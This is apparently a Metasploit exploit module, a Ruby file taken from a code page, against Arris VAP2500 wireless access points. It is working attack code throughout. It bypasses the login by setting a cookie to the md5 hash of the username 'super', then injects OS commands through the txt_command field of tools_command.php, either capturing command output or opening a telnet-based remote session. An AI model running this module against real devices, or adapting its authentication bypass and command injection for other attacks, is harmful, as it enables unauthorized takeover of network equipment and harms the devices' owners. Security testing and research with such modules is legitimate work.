133 lines
3.8 KiB
Ruby
133 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Arris VAP2500 tools_command.php Command Execution',
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'Description' => %q{
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Arris VAP2500 access points are vulnerable to OS command injection in the web management
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portal via the tools_command.php page. Though authentication is required to access this
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page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid
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username.
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},
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'Author' =>
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[
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'HeadlessZeke' # Vulnerability discovery and Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2014-8423'],
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['CVE', '2014-8424'],
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['OSVDB', '115045'],
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['OSVDB', '115046'],
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['BID', '71297'],
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['BID', '71299'],
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['URL', 'http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/']
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],
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'DisclosureDate' => 'Nov 25 2014',
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'Privileged' => true,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 1024,
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'Compat' =>
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{
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic telnet'
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}
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},
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'Automatic', { }]],
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'DefaultTarget' => 0
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))
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end
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def check
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begin
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res = send_request_raw({
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'method' => 'GET',
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'uri' => '/tools_command.php',
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'cookie' => "p=#{Rex::Text.md5('super')}"
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})
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if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/
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return Exploit::CheckCode::Vulnerable
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end
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rescue ::Rex::ConnectionError
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return Exploit::CheckCode::Unknown
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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print_status("Trying to access the device ...")
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unless check == Exploit::CheckCode::Vulnerable
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fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
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end
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print_status("Exploiting...")
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if datastore['PAYLOAD'] == 'cmd/unix/generic'
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exploit_cmd
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else
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exploit_session
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end
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end
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def exploit_cmd
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beg_boundary = rand_text_alpha(8)
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end_boundary = rand_text_alpha(8)
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begin
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res = send_request_cgi({
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'uri' => normalize_uri('/', 'tools_command.php'),
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'vars_post' => {
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'cmb_header' => '',
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'txt_command' => "echo #{beg_boundary}; #{payload.encoded}; echo #{end_boundary}"
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},
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'method' => 'POST',
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'cookie' => "p=#{Rex::Text.md5('super')}"
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})
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if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/
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print_good("Command sent successfully")
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if res.body.to_s =~ /#{beg_boundary}(.*)#{end_boundary}/m
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print_status("Command output: #{$1}")
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end
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else
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fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
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end
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
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end
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end
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def exploit_session
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begin
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send_request_cgi({
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'uri' => normalize_uri('/', 'tools_command.php'),
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'vars_post' => {
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'cmb_header' => '',
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'txt_command' => "#{payload.encoded}"
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},
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'method' => 'POST',
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'cookie' => "p=#{Rex::Text.md5('super')}"
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}, 3)
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
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end
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end
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end
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